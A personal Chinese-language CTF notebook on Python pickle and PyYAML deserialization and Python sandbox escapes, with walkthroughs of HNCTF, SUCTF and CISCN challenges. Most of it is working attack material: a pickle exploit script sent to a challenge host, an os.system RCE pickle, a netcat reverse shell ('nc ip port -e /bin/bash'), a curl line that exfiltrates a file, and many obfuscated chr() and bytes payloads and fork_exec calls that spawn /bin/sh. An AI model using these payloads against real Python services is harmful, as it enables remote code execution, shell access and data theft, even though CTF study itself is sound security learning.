草文,发上来挂着
python反序列化
pickle反序列化
Python Pickle 序列化格式的协议 0/1/2(文本协议)
用guess_game这题的payload去分析py
前半部分:描述了一个简单的字典对象。后半部分看下边
cguess_game
game
}S'round_count'
I10
sS'win_count'
I10
sb
等同于
class game:
def __init__(self):
self.round_count = 10
self.win_count = 10
# 示例字典形式:
obj = {
'round_count': 10,
'win_count': 10
}
或
# Pickle 可能表示的类实例
from guess_game import game
obj = game()
obj.round_count = 10
obj.win_count = 10
Opcode | 含义 |
---|---|
c |
GLOBAL :加载一个全局对象,通常是模块中的类或函数。 |
} |
DICT :表示一个字典对象的开始。 |
S |
STRING :表示一个字符串。 |
I |
INT :表示一个整数(在协议 0 中的整数表示方法)。 |
s |
SETITEM :结束当前字典条目,表示为键值对设置值(键值关系存入字典)。 |
b |
STOP :表示序列化流结束,这是序列化文件的最后一个操作符。 |
c:引入模块和对象,模块名和对象名以换行符分割。(find_class校验就在这一步,也就是说,只要c这个OPCODE的参数没有被find_class限制,其他地方获取的对象就不会被沙盒影响了)
}:push一个空的字典,相当于push {}
S: push一个字符串
I: push一个整型
s: 按照我的理解以及一些参考文章,pop两位 ,然后作为字典的key和value,这个跟pyc的代码是类似的。
b: 调用__setstate__ 或者 __dict__.update()
dict.update:更新对象的属性的
后半部分 :描述了一个 Ticket
类的实例。!不需要手搓,直接dump出来就行
cguess_game.Ticket\nTicket\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00numberq\x03K\xffsb.
部分 | 协议 |
---|---|
cguess_game.Ticket\nTicket\n |
通用(协议 0 和协议 1 均支持)。 |
q\x00 q\x01 q\x02 q\x03 |
协议 2 :MEMOIZE 操作码记录引用。 |
)\x81 |
协议 2 :NEWOBJ 操作码用于高效创建新对象。 |
X\x06\x00\x00\x00number |
协议 1 :BINUNICODE 操作码表示字符串(协议 2 兼容协议 1 的操作码)。 |
```K\xff`` | 协议 1:```BININT1` 操作码表示小整数(协议 2 兼容协议 1 的操作码)。 |
s b .``S"win_count" I10 s S"round_count" I9 s |
协议 2 的 BUILD 操作码用于初始化对象,STOP 操作码表示流结束。 |
看不懂就去问GPT
exp↓
import pickle
import socket
import struct
s = socket.socket()
s.connect(('node2.buuoj.cn.wetolink.com', 28049))
exp = b'''cguess_game
game
}S"win_count"
I10
sS"round_count"
I9
sbcguess_game.Ticket\nTicket\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00numberq\x03K\xffsb.'''
s.send(struct.pack('>I', len(exp)))
s.send(exp)
print(s.recv(1024))
print(s.recv(1024))
print(s.recv(1024))
print(s.recv(1024))
picklecode分析exp
cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1
cbuiltins
getattr
(g1
S'eval'
tR(S'__import__("os").system("id")'
tR.
前边部分
cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1
t
:
- 将之前的
dict
和'get'
打包成一个元组:(dict, 'get')
。
R
:
-
调用栈顶的函数(这里是
getattr
),并使用栈中打包好的元组作为参数。 -
等效于执行:
getattr(dict, 'get')
(tR
:压入空元组,形成globals()
S'builtins'
:将字符串 'builtins'
压入栈。
R
:调用 getattr(globals(), 'builtins')
,获取全局命名空间中的 builtins
模块。
p1:将栈顶的 builtins 模块保存到标识符 p1 中(pickle 的内部标记)。
这样可以在后续代码中通过引用 p1 来复用 builtins 模块。
接下来
getattr
(g1
S'eval'
tR(S'__import__("os").system("id")'
tR.
g1
是之前序列化数据中定义的标识符,它引用的是全局命名空间对象(globals()
返回值)。
为什么不直接用 p1
来获取 eval
?
虽然 eval
是一个内置函数,但它并不直接存在于 builtins
模块中,而是暴露在全局命名空间中。需要通过 globals()
获取它。这是因为:
-
全局命名空间的优先级高于
builtins
:- 如果全局命名空间中存在与
builtins
中同名的对象(例如用户定义的eval
函数),Python 会优先使用全局命名空间中的定义。
- 如果全局命名空间中存在与
-
eval
的定位:eval
被直接注册在全局命名空间中,因此更适合通过globals()
获取。
-
灵活性:
- 攻击者使用
globals()
能更加灵活地访问所有全局变量,而不仅仅局限于builtins
模块的内容。
- 攻击者使用
协议4具体编码
-
\x80 PROTO(调用lload_proto)
-
\x04 根据四号协议序列化的字符串
-
\X95 FRAME 调用load_frame读取后边8个字符串,:\X00\X00\X00\X00\X00\X00\X00
-
\x8c SHORT_BINUNICODE (对应load_short_binunicode),函数内容读取下一位,压入栈中
-
\x94 MEMOIZE (load_memoize)
函数内容是将栈中-1对应元素赋值给memo[0],这里的话就是memo[0]=\x08__main,而memo等于{},那么这里就是{\x08__main}
- \x93 load_stack_global
函数内容是将栈中元素取出一个,作为对象名,这里就是name=tttang,接下来再取出一个,作为类名,这里就是module=__main__,然后压入栈中
stack:[<class '__main__.tttang'>]
-
)
,对应的是EMPTY_TUPLE
,也就是向栈中加入空元组 -
\x81 对应函数是
load_newobj
,弹出()
赋值给args
-
}
,往栈中压入空的字典 -
(
,对应方法为load_mark
,函数内容是将栈中元素压入到metastack
中,然后将栈置空 -
u
,对应函数为load_setitems
,将栈赋值给items
变量,然后将metastack
中的弹出赋值给栈,所以这里的栈就变成了<class '__main__.tttang'>,{}
,这里的话就是取出__main__.tttang
作为字典,接下来进行range遍历
弹shell/找flag
nc ip port -e /bin/bash
curl -d @flag.txt ip:7777
__import__('os').system('/bin/sh')
找flag-------
du -ah / | grep flag 磁盘搜索
py反序列化做题
commands包需要py2,d盘有文件
-
CISCN2019 华北赛区 Day1 Web2\]ikun
-
SUCTF 2019\]Guess Game
用钩子函数error_handler_spec写内存码
-
dasctf2024冬季-const_python
yaml反序列化
https://xz.aliyun.com/t/12481?time__1311=GqGxRQqiuDyDlrzG78GO7G8Imq0Kpo3x
列表
(List):列表用短横线(-)表示
fruit: [apple, banana, orange]
相当于
fruits:
- apple
- banana
- orange
支持多维数组(用缩进表示层级关系)
fruit:
-
- apple
- banana
-
- orange
漏洞
PyYaml<=5.1
默认Constructor为加载器,但是经过审计yaml模块中的Constructor.py的源码中存在对于python的标签解析时的漏洞。
!!python/object标签
!!python/object/apply标签
!!python/object/new
!!python/module
!!python/name
PyYaml>5.1
在PyYaml>5.1的版本之后,如果要使用load()函数,要跟上一个Loader的参数,否则会报错。(不影响正常输出)
-
BaseConstructor
:没有任何强制类型转换 -
SafeConstructor
:只有基础类型的强制类型转换 -
yaml.FullLoader
: -
UnsafeConstructor
:支持全部的强制类型转换 -
Constructor
:等同于UnsafeConstructor
yaml.SafeLoader
:这会加载一些基础的数据类型(如字典、列表、字符串等),并且禁止加载一些潜在危险的对象(如自定义类的实例)。
yaml.FullLoader
:如果你需要加载 YAML 文件中的所有 Python 对象,包括一些自定义类或复杂的结构,可以使用 FullLoader
,但请注意它可能会引入安全风险,尤其是在加载不可信的数据时。
py沙箱逃逸
找flag
find / -type f -name "flag*" 2>/dev/null
chcp 65001 换码utf_8
Python沙箱逃逸(pyjail) - w1hake2 - 博客园(有题目)
沙箱逃逸-通过题解了解沙箱逃逸_sandbox namespace绕过-CSDN博客(同上)
https://zhuanlan.zhihu.com/p/579183067
过滤单双引号反引号
-
用chr构造
-
搭配len和repr
eval(chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)+chr(40)+chr(39)+chr(115)+chr(111)+chr(39)+chr(91)+chr(58)+chr(58)+chr(45)+chr(49)+chr(93)+chr(41)+chr(46)+chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(40)+chr(39)+chr(99)+chr(97)+chr(116)+chr(32)+chr(102)+chr(108)+chr(97)+chr(103)+chr(39)+chr(41))
open(chr(102)+chr(108)+chr(97)+chr(103)).read()
open(chr(47)+chr(102)+chr(108)+chr(97)+chr(103)).read()
print(().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__[chr(112)+chr(111)+chr(112)+chr(101)+chr(110)](chr(102)+chr(105)+chr(110)+chr(100)+chr(32)+chr(47)+chr(32)+chr(45)+chr(110)+chr(97)+chr(109)+chr(101)+chr(32)+chr(34)+chr(102)+chr(108)+chr(97)+chr(103)+chr(34)).read())
- 用bytes构造
open((bytes([102])+bytes([108])+bytes([97])+bytes([103])).decode()).read()
print(bytes([115, 121, 115, 116, 101, 109])) # b'system'
print(bytes([115, 121, 115, 116, 101, 109]).decode()) # system
print(bytes([115, 121, 115, 116, 101, 109]).__class__) # <class 'bytes'>
print(bytes([115, 121, 115, 116, 101, 109]).decode().__class__) # <class 'str'>
-
查找bytes的位置
().__class__.__base__.__subclasses__()[6]
- 用type构造bytes system('sh')例↓
[].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(type(str(1).encode())([115])+type(str(1).encode())([121])+type(str(1).encode())([115])+type(str(1).encode())([116])+type(str(1).encode())([101])+type(str(1).encode())([109])).decode()]((type(str(1).encode())([115])+type(str(1).encode())([104])).decode())
- doc硬凑拼图
# system
().__doc__[19]+().__doc__[86]+().__doc__[19]+().__doc__[4]+().__doc__[17]+().__doc__[10]
# sh
().__doc__[19]+().__doc__[56]
+被ban
用.add代替,然后除了第一个都要用()包上
''.join(['1', '2', '3', '4'])
数字被ban
-
True构造数字
len(repr(True))repr(True) 的值是字符串 'True',长度为 4,所以 len(repr(True)) = 4。 (True + True + True)**(True + True + True) 计算 3**3,结果是 27。 all(()) + all(()) == 2
__import__('os').system('sh')当os和ls关键字绕过之后,构造关键字如下 __import__(chr((True+True+True)**(True+True+True)*len(repr(True))+True+True+True)+chr((True+True+True)**(True+True+True)*len(repr(True))+(True+True+True+True+True+True+True))).system(chr((True+True+True)**(True+True+True)*len(repr(True))+(True+True+True+True+True+True+True))+chr((True+True+True)**(True+True+True)*len(repr(True))-len(repr(True))))
字母被ban
-
unicode
字符串绕过
['__builtins__']
['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']
[u'\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f']
['X19idWlsdGluc19f'.decode('base64')]
['__buil'+'tins__']
['__buil''tins__']
['__buil'.__add__('tins__')]
["_builtins_".join("__")]
['%c%c%c%c%c%c%c%c%c%c%c%c' % (95, 95, 98, 117, 105, 108, 116, 105, 110, 115, 95, 95)]#最后这个第一次见,如果没有变态到过滤字母和数字就无敌的了
长度限制
-
13
-
eval(input())进入交互状态,open('flag').read()
-
eval,input,help被禁用,用unicode
-
𝓮val(inp𝓾t())
-
𝓮𝑣ᵃ𝑙(ⁱ𝓷𝓅𝓾ₜ())
-
𝒆𝓋𝒶𝒍(𝑖𝓷𝓹𝓾𝓽())
-
-
breakpoint()截断获取,然后直接敲命令
- 𝔟𝓻𝒆𝒶𝓴𝓹𝒐𝑖𝓷𝓽()
-
-
6
-
help
输入help(),这里字符串长度6会进入正常调用eval函数,在help交互式下,输入任意模块名称得该模块的帮助文档,如sys,在Linux中,呈现帮助文档时,实际调用系统的less或more命令,利用这两个命令执行本地命令特性获取shell,继续按#!,执行外部命令sh即可(!ls,!cat flag)
-
组合拳--找key
-
9
- globals()
-
6
__main__
- vars()
python2
print input_data
这类语句直接__import__('os').system('ls')
其他操作
获取全局变量
global ()和locals ()函数
使用global ()可以获取Python中的全局变量;
使用locals ()可以获取Python中的局部变量;
import('os').system('bash')获取终端 /sh
> dir()
['__builtins__', 'my_flag']
#有个my_flag跟进一下
> dir(my_flag)
#发现flag_level5,继续跟进
> dir(my_flag.flag_level5)
#发现'encode',可以用这个方法实现
> my_flag.flag_level5.encode()
getattr渐变过程
().__class__.__base__.__subclasses__()
getattr(().__class__, '__base__').__subclasses__()
getattr(().__class__, chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(95)+chr(95)).__subclasses__()
system构造2
list(dict(system=114514))[0]可以获取system这个字符串
HNCTF 2022 WEEK2\]laKe laKe laKe(JAIL)
**先打开,再读取,再输出**
```
__import__("sys").__stdout__.write(__import__("os").read(__import__("os").open("flag",__import__("os").O_RDONLY), 0x114).decode())
---------------------
```
\[HNCTF 2022 WEEK2\]lak3 lak3 lak3(JAIL)
* **调用栈的帧对象getframe**
*
```
__import__("sys").stdout.write(str(import("sys").getframe(1)))
```
*
```
__import_("sys").stdout.write(str(import("sys")._getframe(1).f_locals))
frame对象指向'/home/ctf/./server.py'这个file,直接调用f_locals属性查看变量
```
*
```
int(str(import('sys')._getframe(1).f_locals["right_guesser_question_answer"]))
相当于输入全局变量的标准答案
```
###### 执行函数调用/编写 lambda表达式
\[HNCTF 2022 WEEK3\]s@Fe safeeval(JAIL)
*** ** * ** ***
适用于一些计算的绕过,如**safeeval.test_expr**的绕过
```
# 定义一个函数:接收 x,返回 x 的平方
square = lambda x: x ** 2
print(square(5)) # 输出: 25
```
题解
```
(lambda:os.system('cat flag'))()
```
###### import加载被过滤
```
__loader__.load_module('_posixsubprocess')
或者__builtins__['__loader__'].load_module('_posixsubprocess')
```
###### audit_hook(pipe和_posixsubprocess)
\[HNCTF 2022 WEEK3\]calc_jail_beginner_level6(JAIL)
白名单问题看不懂去下一大标题↓
```
利用_posixsubprocess.fork_exec来实现RCE
---------------------
https://ctftime.org/writeup/31883
```
```
_posixsubprocess.fork_exec(
[b"/bin/sh"], # 命令和参数
[b"/bin/sh"], # 可执行文件
True, # 关闭文件描述符
(), # 工作目录为空
None, None, # 环境变量未设置
-1, -1, -1, -1, # 输入输出文件描述符
-1, -1, *(os.pipe()), # 使用管道通信
False, False, None, None, None, -1, None
)
```
```
匿名管道:os.pipe() 创建的管道在操作系统层面是匿名的,只存在于内存中,并且只能在父子进程之间使用。
有名管道(FIFO):与匿名管道不同,有名管道会创建一个具名的文件节点(通过 os.mkfifo() 创建),进程之间可以通过该文件名通信。
```
getting_import方法,然后improt _posixsubprocess
1.
```
__builtins__['__loader__'].load_module('_posixsubprocess')
或者
__loader__.load_module('_posixsubprocess')
```
2.
```
import_ = ().__class__.__base__.__subclasses__()[84].load_module
_posixsubprocess = import_("_posixsubprocess")
pipe = ().__class__.__base__.__subclasses__()[133].__init__.__globals__['pipe']
```
payload
```
import os
__loader__.load_module('_posixsubprocess').fork_exec([b"/bin/sh"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None)
或
_posixsubprocess.fork_exec([b"/readflag"], [b"/readflag"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(pipe()), False, False, None, None, None, -1, None)
```
###### 海量运算符和秒断shell
\[HNCTF 2022 WEEK2\]lak3 lak3 lak3(JAIL)
下边这个连上shell秒断
```
[os := __import__('os'), _posixsubprocess := __loader__.load_module('_posixsubprocess'), _posixsubprocess.fork_exec([b"/bin/sh"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None)]
```
下边这个暴力多次尝试连接,考验手速,(预先保留payload,弹出shell的时候)
```
[os := __import__('os'), _posixsubprocess := __loader__.load_module('_posixsubprocess'), [_posixsubprocess.fork_exec([b"/bin/sh"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None) for i in range(10000000000)]]
```
###### 用metaclass
\[HNCTF 2022 WEEK3\]calc_jail_beginner_level7(JAIL)
```
通过metaclass给类添加属性
将一个类的某个属性修改为os.system这样的函数,调用的时候就可以执行;结合之前提到__getitem__可以传入字符串的属性,就可以完美构造payload
```
p1 --遗留了Expr和Call
```
import os
class WOOD():
pass
WOOD.__getitem__=os.system
WOOD()['sh']
```
p2 --洗清的,无遗留
```
class WOOD(type):
__getitem__=os.system
class WHALE(metaclass=WOOD):
pass
tmp = WHALE['sh']
```
p3函数装饰器和类定义绕过--[https://zhuanlan.zhihu.com/p/579183067](https://zhuanlan.zhihu.com/p/579183067 "https://zhuanlan.zhihu.com/p/579183067")
```
E
Pls input your code: (last line must contain only --HNCTF)
@exec
@input
class X: pass
--HNCTF
check is passed!now the result is: